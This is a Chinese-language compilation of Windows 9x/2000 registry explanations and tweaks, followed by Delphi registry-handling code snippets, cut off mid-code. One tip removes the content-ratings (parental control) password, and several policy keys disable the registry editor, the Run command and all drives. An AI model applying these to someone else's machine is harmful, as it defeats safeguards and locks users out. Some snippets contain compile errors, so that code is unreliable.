    该子关键字所包含的内容与桌面、光标、键盘和鼠标等设置有关。改变它们的键值就将改变对应的工作环境或参数。图10为Control Panel的结构。

    在图10中可以看到，Control Panel下面又有8个子关键字。根据系统配置和设置情况的不同，子关键字的数目也会不同。例如有的系统中没有“Mouse”关键字，并不是表示计算机中没有安装鼠标，而是指你从来没有对鼠标作过任何设置，系统完全采用默认值。 虽然Control Panel中的键值与环境和特性有直接关系，但很多参数的改变并不要求用户通过修改注册表来实现，而只需通过“控制面板”即可进行修改。也有一些环境特性的改变只能通过修改注册表来实现，例如，改变菜单的弹出延迟时间。

    在Win95中，系统默认的菜单弹出延迟时间为400ms（随机器的性能不同，实际感觉到的延时可能有一定误差）。如要改变其缺省值，可在注册表编辑器的\ HKEY_CURRENT_USER\ Control Panel\desktop中增加一个键值名“MenuShowDelay”，通过改变其键值来改变菜单显示延时（如图10所示），键值的设定范围为0～1000（ms）。

Accessibility
这个子关键字包含了如图11所示的10个子关键字，多数子关键字在“控制面板”中都有对应的项。这些子关键字的键值名中一般都有一个“On”，当键值为0时，表示设置无效；键值为1时，表示设置生效。
Appearance
这个子关键字的键值中列出了可供选择的各种颜色和图案。可以在“控制面板”的“显示/外观”对话框的“方案”下拉菜单中，看到这些颜色和图案的中文名称。
cursors
这个子关键字的键值中列出了光标图案所在的文件路径。可以在“控制面板”的“鼠标/指针”对话框的“方案”下拉菜单中，看到这些颜色和图案的中文名称并进行设置。
desktop
这个子关键字的键值中列出了桌面和窗口中的各种部件，如:窗口边界、标题、图标、菜单、滚动条、消息框的长度、宽度和字体等数据。这些数据可以在“控制面板”的“显示/外观”对话框的“项目”下拉菜单中进行修改。下面再举一个只能通过修改注册表来实现的例子。
    系统缺省设置，窗口在最小化和还原（或最大化）之间切换时，有一个平滑的变化过程（动画效果）。要取消这个动画效果，可以在\HKEY_CURRENT_USER\ Control Panel\desktop\windowmetrics中增加一个键值名“MinAnimat”，其键值设置为0即可。

    注:为0为取消动画效果，非0则保留动画效果。

Input Method
这个子关键字的键值中登录了“输入方法”转换热键的有关数据。这些数据你可以在“控制面板”中打开“输入法”对话框中的“热键”标签进行修改。
International
这个子关键字的键值中登录了表示“上午”和“下午”的数据。这些数据可以在“控制面板”中打开“区域设置”对话框中的“时间”标签进行修改。
keyboard
这个子关键字的键值中登录了击键时的重复延时和重复速率。这些数据可以在“控制面板”中打开“键盘”对话框中的“速度”标签进行修改。
Mouse
这个子关键字的键值中登录了鼠标的双击速度和指针的移动速度。这些数据可以在“控制面板”中打开“鼠标”对话框中的“按钮”和“移动”标签进行修改。
    上面以AppEvents和Control Panel这两个子关键字为例作了比较详细的讨论，限于篇幅，对其他子关键字就不再详细介绍了。读者可以按照前面所列出的子关键字的基本内容自己进行分析。

● HKEY_LOCAL_MACHINE关键字

    图12中，HKEY_LOCAL_MACHINE下面的子关键字有8个。其中“.mp2”是安装播放软件“XING MPEG”后定义的关键字，其余的是系统预定义关键字。下面我们先对预定义关键字作简单介绍。

Config
包含了有关显示字体、分辨率、显示点 距、颜色深度以及打印机型号等信息。
Enum
包含了系统当前配置的所有硬件设备的 信息。
hardware
包含了系统使用的浮点处理器、串口等 有关信息。
Network
包含了网络的有关信息。
Security
包含了安全设置的信息。
SOFTWARE
包含了系统软件、当前安装的应用软件 及用户的有关信息。
System
包含了系统的全部软件和硬件信息。
    对于HKEY_LOCAL_MACHINE关键字，有两点应该说明:

    1．根据计算机中硬件配置和安装文件的不同，在HKEY_LOCAL_MACHINE中的信息将有很大的差别（在其他的关键字中也会反应出这种差别）。

    2．HKEY_LOCAL_MACHINE下面各个子关键字中包含的信息有很多是重复的，这样做的目的，只是为了浏览和编辑的方便。当然在注册表数据库中是不会重复的。

● 其他主关键字

    上面我们介绍了3个主关键字的基本内容。其余的主关键字中，Hkey_User和Hkey_Current_User类似，Hkey_Current_Config和Hkey_Local_Machine类似，Hkey_DYN_DATA 的内容比较简单，只包含了系统运行中的动态数据，即系统硬件的当前状态和那些需要更新和检索的数据。限于篇幅，本文不再详细介绍，有兴趣的读者可自行分析。

如 何 恢 复 注 册 表
单击“开始”，再单击关闭系统；
单击“重新启动计算机并切换到 MS-DOS 方式”，然后单击“是”；
在 MS-DOS 方式下直接输入 SCANREG /RESTORE 后回车；
选择一个您要恢复到的日期。
按照上述步骤您就可以将系统恢复到选定日期下的状态。

如 何 添 加 主 键
打开注册表编辑器,找到要添加主键的文件夹;
单击右键,选择"新建" / "主键";
新建的主键以一个临时名称命名,为新建的主键输入一个名字,然后回车即可

如 何 添 加 键 值

打开注册表编辑器,找到要添加键值的文件夹;
单击右键,选择"新建",以及要建立的键值类型;
新建的键值以一个临时名称命名,为新建的键值输入一个名字,然后回车即可

■ 显示更多的 CPU 信息

运行 Regedit.exe
依次打开HKEY_LOCAL_MACHINE\Hardware\Description\System\CentralProcessor\0
双击 VendorIdentifier，将 GenuineIntel 改为 Genuine Intel
只适用于 Intel CPU
■ 禁用开始菜单的“关闭系统”命令

运行 Regedit.exe
依次打开 HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER
在右边的窗口中单击鼠标右键，选择添加 DWORD 键值
命名为 NOCLOSE
修改键值为 0 时无效，1 有效

■ 关闭 Windows 的 AutoRun 功能

运行 Regedit.exe
依次打开 HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer
在右边的窗口中单击鼠标右键，选择添加二进制键值
命名为 NoDriveTypeAutoRun，修改键值为 b5 00 00 00

■ 缩短应用程序出错时试图等待响应的时间

打开 Regedit;
打开 HKEY_CURRENT_USER 中的 Control Panel 的 Desktop;
单击右键选择新建字符串值;
将新建的字符串值命名为:HungAppTimeout;
将其值修改为 3000 毫秒(默认为 5000 毫秒)
■ 排列输入法顺序

运行 Regedit
打开 HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Keyboard layout ，您可看到一长串的主键，以 E 开头的主键就是输入法，记住各主键代表的输入法。
打开 HKEY_USERS \ .DEFAULT \ Keyboard layout \ preload,可以看到有名为 1、2、3…… 的几个主键，主键 1 是英文，即默认为英文。例如：您想在按下 Ctrl+空格 时调用的是五笔字型那么将主键名为 2 的主键打开，双击“默认”将它的值改为 E0200804。
重新启动计算机。
■ 输入汉字时自动插入空格

运行 Regedit
依次打开 HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion
查找您想要使它具有插空格功能的输入法（如：全拼）
展开这个主键，将插空格的值改为 1
■ 改变“收藏夹”的路径

运行 Regedit.exe；
依次打开：打开 HKEY_CURRENT_USER / Software / Microsoft / Windows / CurrentVerion /Explorer ;
展开 User Shell Folders 主键
您可以看到 Cache、Cookies、Favorites、History、Personal 五个字串形键值
右键单击 Favorites 选择“修改”，将键值改为您想要的目录即可
同样您还可以将其他的（如：我的文档 - Personal）改到相应的目录
■ 隐藏驱动器

打开注册表编辑器
打开 HKEY_CURRENT_USER / Software / Microsoft / Windows / CurrentVerion / Policies / Explorer ;
新建一个字符串值 NoDrives,缺省直为:00000000
修改键值,第一个字节代表从 A 到 H 的八个盘,即 01 为 A;02 为 B;04 为 C..., 第二个字节代表从 I 到 P,第三个字节代表从 Q 到 X,第四个字节代表从 Y 到 Z。 例如：要隐藏 C 盘，将键值改成：04000000，要隐藏 D 盘，将键值改成：08000000

■ 从“开始菜单中删除“注销到”

运行 Regedit.exe
依次打开 HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER
添加 DWORD 键值，命名为 NOLOGOFF
键值为 0=无效 ; 1=有效

■ 从“开始”/“设置”菜单中删除“任务栏和开始菜单”命令(WINDOWS9X & WINNT)

运行 Regedit.exe
依次打开 HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER
添加 DWORD 键值，命名为 NOSETTASKBAR
键值为 0=无效 ; 1=有效

■ 从“开始”/“设置”菜单中删除“任务栏”以外的其它菜单项 (WINDOWS9X & WINNT)

运行 Regedit.exe
依次打开 HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER
添加 DWORD 键值，命名为 NOSETFOLDERS
键值为 0=无效 ; 1=有效

■ 缩短开始菜单显示时间

打开 Regedit
选择"HKEY_CURRENT_USER"主键并打开其中的 Control Panel;
选择 Desktop 选项,然后新建一个串值;
为这个串值命名为 MenuShowDalay;
将这个串值赋值为 1-10 的整数,其中 1 为最快;
重新启动计算机

■ 减少右键菜单中“新建”的选项

打开注册表编辑器,查找“Shellnew”，将不常用的文件类型删除即可。

■ 隐藏“开始”菜单项

打开注册表编辑器
打开 HKEY_CURRENT_USER / Software / Microsoft / Windows / CurrentVerion / Policies / Explorer ;
新建一个 DWORD 值 NoRecentDocsHistroy ,修改键值为 0x00000001, 则“文档”中的内容不再改变
新建一个 DWORD 值 NoRecentDocsMenu，修改键值为 0x00000001, 则隐藏“文档”菜单
新建一个 DWORD 值 NoRun，修改键值为 0x00000001, 则隐藏“运行”菜单
新建一个 DWORD 值 NoFavoritesMenu，修改键值为 0x00000001, 则隐藏“收藏夹”菜单
■ 修改文件的鼠标右键弹出菜单

    运行注册表编辑器(regedit.exe)，打开“我的电脑\HKEY_CLASSES_ROOT\*\shellex\ ContextMenuHandler”分支。该分支下有两个主键HexWorkshopContextMenu和Winzip(笔者的电脑中装有Winzip和HexWorkshop)，删去后即可发现原来文件的弹出菜单上的Hex edit 和Add to Zip两项不见了。当要在弹出菜单中添加一些可执行文件时（以notepad为例），可进行如下操作：

在“我的电脑\HKEY_CLASSES_ROOT\*”下新建一个名为shell的主键。
在“shell”下新建名为aaa(aaa即是显示于弹出菜单中的文字，这里假设用“用笔记本打开”代替)的主键。
在aaa下新建名为command的主键，修改其右默认的键值为“c:\windows\notepad.exe %1”（%1表示该文件不带参数，而只运行笔记本程序）即可。
需再添加新的菜单项重复步骤2、3即可。

■ 驱动器弹出菜单的修改

运行注册表编辑器
打开“我的电脑\HKEY_CLASSES_ROOT\DRIVE”，其下有三个主键DefaultIcon、shell和shellex。
打开shell可以看见find和Browse with ACDSee(笔者的机器上装有ACDSee)，这也是显示在弹出菜单上的文字，如将Browse with ACDSee改为别的名字，如“用ACDSee浏览”时，则英文变成汉语“用ACDSee浏览”。添加菜单项同样需要在shell下添加新主键，删除菜单项则只要删除对应的主键，如删HexWorkshop，则删去shellex下的ContextMenuHandlers主键下的HexWorkshopContextMenu主键即可。
■ 文件夹弹出菜单的修改

    文件夹弹出菜单的修改比较复杂，涉及两个主键Directory和Folder(同样位于“我的电脑\HKEY_ CLASSES_ROOT\”下)的修改。其中修改Folder主键后对驱动器弹出菜单也有影响（修改Drive主键不会影响其他），如在Folder\Shell主键下添加新主键（设名为aaaa），则同时会在驱动器和文件夹弹出菜单中出现aaaa这一项，删除也同样会对两者产生影响，如删除Folder\Shell下的explore和open主键，两者弹出菜单的资源管理器和打开两项就会消失。要删除驱动器弹出菜单的winzip项，则删去Folder\Shellex\Context MenuHandlers下的winzip主键即可。而删除文件夹弹出菜单的winzip项，还要删去Directory\Shellex \ContextMenuHandlers下的winzip主键。只对文件夹弹出菜单进行增删，需对Directory操作就行了（操作主键Directory不会影响驱动器的弹出菜单）。如删去查找菜单项，只需去掉Directory\Shell下的find主键，添加则在Shell下添新主键。

■ 设置右键菜单的对齐方式

运行 Regedit.exe
依次打开 HKEY_CURRENT_USER\Control Panel\Desktop
在右边的窗口中单击鼠标右键，选择新建字符串，命名为：MenuDropAlignment
修改它的值为（0 - 左对齐；1 - 右对齐
■ 取消窗口放大或缩小的平滑模拟过程

打开 Regedit;
打开 HKEY_CURRENT_USER 中的 Control Panel 的 Desktop;
打开其下的 WindowsMertics,单击右键选择新建字符串值;
将新建字符串值命名为: MinAnimate,并将其值设定为 0 或 1,0 表示关闭;
重启计算机
■ 锁定桌面

   打开 Regedit;
打开 HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \
   CurrentVerion \ Policies \ Explorer;
单击右键选择新建 DWORD 值;
将新建的 DWORD 值命名为: NoSaveSettings;
将其值修改为 1;
以后无论您对桌面进行任何修改,在重新启动后桌面都将恢复到原来的面貌
■ 删除“我的电脑”、“收件箱”和“回收站”

打开 Regedit;
打开 HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVerion Explorer \ Desktop \ Namespace;
删除 Namespace 下的主键即可
■ 改变任务栏的时间显示

打开 Regedit;
打开 HKEY_CURRENT_USER \ Control Panel \ International;
将 Locale 的值改成 00000409
将其中的 s1159 和 s2359 的值改为您想要显示的文字 (不得多余五个汉字或十个英文字母)
重新启动计算机您将有惊喜的发现
■ 去除快捷方式的小箭头

运行 Regedit；
打开：HKEY_CLASSES_ROOT \ lnkfile;
找到 isshortcut关键字,并将它删除;
打开: HKEY_CLASSES_ROOT \ piffile;
找到 isshortcut关键字,并将它删除;
重新启动计算机。
■ 隐藏桌面上的图标

运行Regedit
依次打开 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Policies\Explorer
新建一个 DWORD 键值“NoDesktop”
当这个值为1的时候， 图标被隐藏，0的时候图标被显示。

■ 修改位图文件图标

执行 REGEDIT,
打开 HKEY_CLASSES_ROOT；查找 Paint.Picture（如果您的系统中安装了 ACDSee，则查找 ACDC_BMP）。
打开此项；在它的下面可以找到一个名为 DEFAULTICON 的子项。
将其缺省键值改为 %1。
至此，您在用大图标方式浏览文件时会发现 BMP 文件的图标就是它的缩小版

■ 清除“运行”的历史记录

打开 Regedit;
打开 HKEY_USERS / .Defualt / Software / Microsoft / Windows / CurrentVerion / Explorer / Runmru;
在右面的窗口中可选择性的删除不再需要的历史记录

■ 清除“查找”的历史记录

打开 Regedit;
打开 HKEY_USERS / .Defualt / Software / Microsoft / Windows / CurrentVerion / Explorer / Doc Find MRU
在右面的窗口中可选择性的删除不再需要的历史记录

■ 查找多余的 DLL 文件

运行 Regedit.exe
打开 HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \CurrentVersion \ ShearedDlls
查看每个连接库的键值，如果为 "00 00 00 00" 则没有被任何程序共享.
进入 System 目录删除相应的 DLL 文件

■ 修改 IE 工具栏的背景

打开注册表编辑器
打开 HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Toolbar
新建一个字符串值 BackBitmap
修改这个字符串值，将它的键值改为您想要的位图文件的路径。
■ 优化 Modem

打开注册表编辑器
打开 HKEY_LOCAL_MACHINE / Enum / Root / Net / 000?,找到包含 DeviceDesc 字符串,其值为“拨号网络适配器”的键，进入其子键 bindings，记下其中的串值 MSTCP / 000?
打开 HKEY_LOCAL_MACHINE / Enum / NetWork / MSTCP / 000?(? 为上面找到的数字) ,找到 Drivers 字符串,记下其值 NetTrans / 000?
打开 HKEY_LOCAL_MACHINE / System / CurrentControlSet / Services / Class /NetTrans / 000?
新建字符串值 MaxMTU=576(缺省值为 1500,最大值为 65535)
打开 HKEY_LOCAL_MACHINE / System / CurrentControlSet / Services / Vxd / MSTCP
新建字符串值 DefaultRcvWindow = 5120(缺省值为 8192,最大值为 65535)
新建字符串值 DefaultTTL = 255(缺省值为 32,最大值为 255)
新建字符串值 NameSrvQueryTimeout = 3000(缺省值为 750,最大值为 65535)

■ 删除分级审查的密码

运行 Regedit
打开 HKEY_LOCAL_MACHINE\Software\Mircosoft\Windows\CurrentVersion\ Policies\Ratings
删除键值

■ 修改 Outlook Express 默认通讯簿

运行 Regedit.exe
HKEY-CURRENT-USER\Software\Microsoft\WAR\WAB4\Wab File Name
找到"默认"字符串,击右键修改为其它路径

---- 一、个性化"桌面"设置

---- 1、从桌面快捷图标中移除小箭头。按以下路径：
\ HKEY_ CLASSES_ROOT\ .pif（DOS的快捷方式）或选\HKEY_CLASSES _ROOT\ .
lnk(Windows的快捷方式），鼠标左键点击右边窗口中的"IsShortcut"，按"Delete"键即可。

---- 2、限制修改桌面设置。按以下路径:
\HKEY_USERS\ Default\Software\Microsoft\
Windows\CurrentVersion\Policies\Explore-r，
双击"No Save Setting"，然后将其键值从"0"改为"1"。

---- 3、修改"我的电脑"图标。按以下路径:
\HKEY_LOCAL_ MACHINE\SOFTWARE\Clesses\CLSID\
{20D04FE0-3AEA-1069-A2D8-08002B30309D}分支，
修改"Defaulticon"下的默认键值。

---- 4、隐藏"我的电脑"中的驱动器。按以下路径:
\ HKEY_ CURRENT_USER\Software\Microsoft\
Windows \ Currentversion \Po- licies \Explorer\中新建二进位制值主键"NoDrives"，然后以下面的原则确定键值：A－Z各驱动器的值依次对应2的0－25次方，再把要隐藏的驱动器的值相加，之后再转换成十六进制，就确定主键NoDrives的键值了。例如，要隐藏C、D、E三个驱动器，则为4＋8＋16＝28，转换成十六进制为1C，修改NoDrives的键值为"1C 00 00 00"即可。

---- 5、增添"回收站"右键功能。按以下路径:
\ HKEY_CLAS- SES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ ShellFolder，修改右键窗口中的ATTRIBUTES值，可使"回收站"右键点击后弹出的菜单扩充多个功能。具体为：01复制；02剪切；03复制和剪切；10重命名；20删除；30重命名和删除；40属性；50重命名和属性； 53剪切、复制、重命名、属性；60删除和属性；63剪切、复制、删除、属性；73剪切、复制、删除、重命名、属性。

---- 6、为"回收站"改名。按以下路径:
\HKEY_LOCAL_ MACHINE\SOFTWARE\Clesses\CLSID\
{645FF040-5081-101B-9F08 -00AA002F954E}\分支，修改默认键值，即可为"回收站"改名。

---- 7、修改"回收站"图标。按以下路径:
\HKEY_LOCAL_ MACHINE\SOFTWARE\Clesses\CLSID\
{645FF040-5081-101B-9F08 -00AA002F954E}\分支，修改"DefaultIcon"下的"Full"和"Empty"键值，如将原键值修改成为"C:\Windows\Full.ico，0"以及"C:\Windows\ Empty.ico，0"，就已经修改了"回收站"满时和空时的图标。

---- 8、从桌面上删去"回收站"图标。按以下路径:
\HKEY_ LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Currentversion\
Policies\Explorer\Desktop\NameSpace\， 找到主键{645FF040-5081 -101B-9F08-00AA002F954E}删除，就可从桌面上移去"回收站"图标。

---- 9、清除"网上邻居"操作信息。按以下路径:
\HKEY_ CURRENT_USER\Network\Recent，将Recent主键下的所有子项目删除，这样您所访问的机器的名字以及访问过的应用程序名称和文件名等一系列操作信息就会被清除。

---- 10、从桌面删除"网上邻居"图标。按以下路径:\ HKEY_
CURRENT_USER\Software\Microsoft\Windows
\ Currentversion \Po- licies \Explorer\中新建"DWORD值"键名"NoNetHood"，值为"1"，就可从桌面上移去"网上邻居"图标。

---- 11、从桌面删除" 收件箱"图标。按以下路径:
\HKEY
_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Currentversi-on \
Policies \Explorer\desktop\NameSpace"，找到" 收件箱"图标，将其删除即可。

下面列举了几乎所有常用的限制方法，以方便用户。

方法：在注册表的以下位置添加一些键值(类型为：双字节值)

******************************************************************************************

(1)HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

NoDesktop=1——隐藏桌面图标

NoFavoritesMenu=1——隐藏收藏夹

NoRecentDocsMenu=1——隐藏文档

NoFind=1——隐藏查找

NoRun=1——禁止运行

NoLogoff=1——隐藏注销

NoClose=1——隐藏关闭系统

Nodrives=3ffffff(十六进制)——隐藏所有驱动器

NoSetFolders=1——隐藏(&H)<开始菜单\设置菜单项>

NoFolderoptions=1——隐藏<设置\文件夹选项>

NoSettaskbar=1——隐藏<设置\任务栏和开始菜单>

Nosavesettings=1——退出时不保存设置

ClearRecentDocsOnExit=1——退出时自动清除文档

NoFileMenu=1——隐藏<我的电脑、资源管理器>下的<文件>菜单

NoChangeStartMenu=1——禁止修改开始菜单

NoDriveTypeAutoRun=1——禁止自动运行

NoAddPrinter=1——禁止添加打印机

NoDeletePrinter=1——禁止删除打印机

NoPrinterTabs=1——隐藏<打印机\常规与详细资料>选项卡

(2)

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System

DisableRegistrytools=1——禁用注册表编辑工具

NoDispcpl=1——禁止<控制面板\显示>属性

Nodispbackgroundpage=1——隐藏<墙纸>

NoDispScrSavPage=1——隐藏<屏幕保护>

NoDispAppearancePage=1——隐藏<外观>

NoDispSettingsPage=1——隐藏<设置>

NoSeccpl=1——禁止<控制面板\密码>属性

NoPwdpage=1——隐藏<密码\更改密码>

Noprofilepage=1——隐藏<密码\用户配置文件>

NoDevMgrpage=1——隐藏<系统\设备管理>

Noconfigpage=1——隐藏<系统\硬件配置文件>

NoFilesysPage=1——隐藏<系统\性能\文件系统>

NovirtMempage=1——隐藏<系统\性能\虚拟内存>

(3)

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network

NoNetSetup=1——禁止<控制面板\网络>属性

NoNethood=1——隐藏网上邻居

NoEntirenetwork=1——隐藏整个网络

noworkgroupcontens=1——网络邻居>中无工作组目录

NoNetsetupidpage=1——隐藏<网络\标识>选项卡

NoNetsetupsecuritypage=1——隐藏<网络\访问控制>选项卡

NoFileSharingcontrol=1——隐藏<文件及打印共享

(4)

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp

'仅适合于Windows9X,不适合于Windows2000

Disabled=1——禁止MS-DOS方式

NoRealmode=1——禁止重启动到MS-DOS


注册表的转换－从9x ME移植到NT 2000

问题提出/摘要:

常会出现这种情况，将你的注册表有关内容完全放在HKEY_CURRENT_USER下也许就无法在NT或者2000系统下正常工作。如何解决这个问题呢？

回答:

当我们开始使用Delphi 1开发应用程序时，那时刚好在Windows 95发行前一个月，而当时NT还完全在我们的考虑之外。

在Windows 3.x中，我们使用INI文件来保存相关的设置参数。因此当我们移植到95和Delphi 2时，我们利用TRegIniFile对象

来将这些参数保存到注册表中。

TRegIniFile中沿用了许多旧的方法。例如，全部的针对不同类型变量的方法 -- WriteInteger,等 -- 实际上是直接将值以

字符串的形式保存到注册表中，就像是写入一个INI文件一样。但是，如果你使用TRegIniFile.WriteInteger写入一个数，然

后用TRegistry.ReadInteger来读，将会出现一个异常错误(Exception)。解决方法是使用TRegistry.ReadString来读出值，

然后用StrToInt()来转换。

我们还发现了更严重的问题，事实上，TRegIniFile缺省的RootKey是HKEY_CURRENT_USER。这就意味着，在NT/2000系统下，只

有安装我们软件的用户登录到系统中时才能使用我们的软件；当另一个用户登录进入时，HKEY_CURRENT_USER已经不包含我们

所需的内容了。

当然，如果你想你的软件是针对某个用户安装的，那当然没问题，但我们不是。所以，我们决定使用HKEY_LOCAL_MACHINE来

代替。HKEY_LOCAL_MACHINE下的SOFTWARE键是所有用户都可以使用的，没有权限的问题。对于一个已经存在的系统，我们想

将一个存在的注册表分支整个从HKEY_CURRENT_USER转移到HKEY_LOCAL_MACHINE下。

不幸的是，MoveKey方法好像可以达到这个目的(至少在95/98，甚至在ME下可以)，但在NT/2000下并不能移动整个注册表分支。

我更愿意将时间花在描述如果整个注册表分支而不是单个的主键。

而SaveKey和RestoreKey(不是LoadKey)函数可以实现这个功能，但是在NT/2000下使用它们需要程序获得相应的权限 -- 一些

在以前的系统中没有听说过的东西。幸运的是，在MSDN资料库中有一些例子，而且可以很容易地翻译成Pascal的代码。这里就

是我的一些代码(D5)：

procedure UpdateRegistryLocation;

var

reg: TRegistry;

kee: HKEY;

priv: string;

filnam: string;

res: integer;

osv: TOSVersionInfo;

tp: TTokenPrivileges;

hToken: THandle;

luid: TLargeInteger;

len: cardinal;

begin

// find out if it's NT/2000

fillchar(osv,sizeof(osv),0);

osv.dwOSVersionInfoSize := sizeof(TOSVersionInfo);

GetVersionEx(osv);

// if so, obtain the required priviledges

if (osv.dwPlatformId = VER_PLATFORM_WIN32_NT) then begin

priv := 'SeBackupPrivilege';

if OpenProcessToken(GetCurrentProcess,TOKEN_ADJUST_PRIVILEGES,hToken)

then begin

if LookupPrivilegeValue(NIL,pchar(priv1),luid) then begin

tp.PrivilegeCount := 1;

tp.Privileges[0].Luid := luid;

tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE,tp,0,NIL,len);

res := GetLastError();

if (res <> ERROR_SUCCESS) then begin

ShowMessage('Ouch! Can''t get backup privilege!');

exit

end

end

end;

priv := 'SeRestorePrivilege';

if OpenProcessToken(GetCurrentProcess,TOKEN_ADJUST_PRIVILEGES,hToken)

then begin

if LookupPrivilegeValue(NIL,pchar(priv1),luid) then begin

tp.PrivilegeCount := 1;

tp.Privileges[0].Luid := luid;

tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE,tp,0,NIL,len);

res := GetLastError();

if (res <> ERROR_SUCCESS) then begin

ShowMessage('Ouch! Can''t get restore privilege!');

exit

end

end

end

end;

filnam := 'C:\MyTemp';

reg := TRegistry.Create;

try

reg.LazyWrite := false;

reg.RootKey := HKEY_LOCAL_MACHINE;

if (not reg.KeyExists('Software\OurCompany\OurProgram')) then begin

if FileExists(filnam) then

DeleteFile(filnam);

reg.RootKey := HKEY_CURRENT_USER;

if reg.OpenKey('Software\OurCompany\OurProgram',false) then begin

kee := reg.CurrentKey;

res := RegSaveKey(kee,pchar(filnam),NIL);

if (res = ERROR_SUCCESS) then begin

reg.CloseKey;

reg.RootKey := HKEY_LOCAL_MACHINE;

reg.OpenKey('SOFTWARE\OurCompany\OurProgram',true);

kee := reg.CurrentKey;

res := RegRestoreKey(kee,pchar(filnam),0);

reg.CloseKey;

if (res = ERROR_SUCCESS) then begin

DeleteFile(filnam);

DeleteFile(Concat(filnam,'.LOG'));

end else begin

ShowMessage('Bummer! No joy! Registry move failed!')

end

end

end

end

finally

reg.free

end

end;

Note: that the name of the temporary file has no extension, as it cannot under Windows 95 - nor can you use

a long filename with 95. The SaveKey function also creates a log file, hence the additional file deletion

on success.

I'd like to know who at Microsoft came up with the constant name "ERROR_SUCCESS"...


TRegistry在Windows2000中的奇效
CoDelphi.com

摘　要：Tregistry中的一个小bug
关键字：Windows2000 注册表
类　别：系统控制
当我在Windows2000中开发软件时发现用TRegistry 有一奇怪的效果。

1) 如果你是Windows2000的管理员，请建一个新的"Power user" (or "Standard user")用户：

2) 注销并以刚才注册的power user登录。或许你必须重安装Delphi，那么我建议在安装过程中用"Registry"设置，这样就只会建立必要的Delphi连接 (你或许要重安装每一个组件)。

3) 当你做完以上两步，运行Delphi并做一个开机执行的带按钮的窗口，运行后双击该按钮.

4) 复制以下代码到相关单元（Unit）中

//------ Beginning of the Code ------------

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Registry,
StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
var
Reg: TRegistry
begin
Reg:=TRegistry.Create;
with Reg do
begin
RootKey:=HKEY_CLASSES_ROOT;
OpenKey('\TestKey',true); // (1)
WriteString('Test String','Test Value');
CloseKey;
end;
Reg.Free;
end;

end.

//------ End of the Code ------------

当你在Windows98中进行开发，我标了（1）的那行是没有语法错误的，那行表示“打开注册表中的'TestKey'键 ——如果不存在就创建，存在则打开”。

在Windows 98中该行代码运行无误，但在Windows 2000 (以Power User身份登录)中你将会被返回一个错误“failed set data for...” error。这表示某些地方有错误

再返回刚才那段代码并用以下代码替换标了(1)的那行

//------ Beginning of the Code ------------
if KeyExists('\TestKey') then
OpenKey('\TestKey',false)
else
OpenKey('\TestKey',true);

//------ End of the Code ------------

好了，我知道：这有些奇怪的东西而这看起来是唯一避免该错误的方法。

我该说什么呢？这小段做了本应由函数OpenKey做的(Windows 98也是如此)。

投稿人：grhunter　投稿日期：2001-3-28 17:12:00


使系统在重起后自动修改文件名

a) 保存要更新的文件为另一个文件名.

b) If Win32Platform = VER_PLATFORM_WIN32_NT Then

MoveFileEx( Pchar( tempFilenameWithPath ),

Pchar( realfilenamewithpath ),

MOVEFILE_REPLACE_EXISTING or MOVEFILE_DELAY_UNTIL_REBOOT )

Else

WritePrivateProfileString(

'rename',

Pchar( realfilenamewithpath),

Pchar( tempFilenameWithPath ),

'wininit.ini' );


扫描整个注册表

 var
reg:TRegistry
procedure GetKeyNames(Strings: TStrings);
返回所有键名
procedure GetValueNames(Strings: TStrings);
返回所有的值


刷新注册表

 SendMessage(FindWindow('Progman', 'Program Manager'), WM_COMMAND, 106597,
0);
相当于按F5刷新桌面，同时刷新注册表


读写网络其他计算机的注册表

 procedure NetReg;
var
R: TRegistry;
S: TStringList;
begin
R:=TRegistry.Create;
S:=TStringList.Create;
WriteLn(R.RegistryConnect('\\OtherPC'));
WriteLn(R.OpenKeyReadOnly('Software'));
R.GetKeyNames(S);
WriteLn(S.CommaText);
S.Free;
R.Free;
end;


备份部分注册表

Procedure ExportRegistryBranch (rootsection : Integer;
regroot:String;
filename:String);

implementation

Function dblBackSlash(t:string):string;
var k:longint;
begin
result:=t;
{Strings are not allowed
to have}
for k:=length(t) downto 1
do
{single backslashes}
if result[k]='\' then
insert('\',result,k);
end;

Procedure ExportRegistryBranch (rootsection : Integer;
regroot:String;
filename:String);
var
reg:tregistry;
f:textfile;
p:PCHAR;

Procedure ProcessBranch(root:string); {recursive sub-procedure}
var
values,
keys:tstringlist;
i,j,k:longint;
s,t:string; {longstrings are on the
heap, not on the stack!}
begin
writeln(f); {write blank line}
case rootsection of
HKEY_CLASSES_ROOT : s := 'HKEY_CLASSES_ROOT';
HKEY_CURRENT_USER : s := 'HKEY_CURRENT_USER';
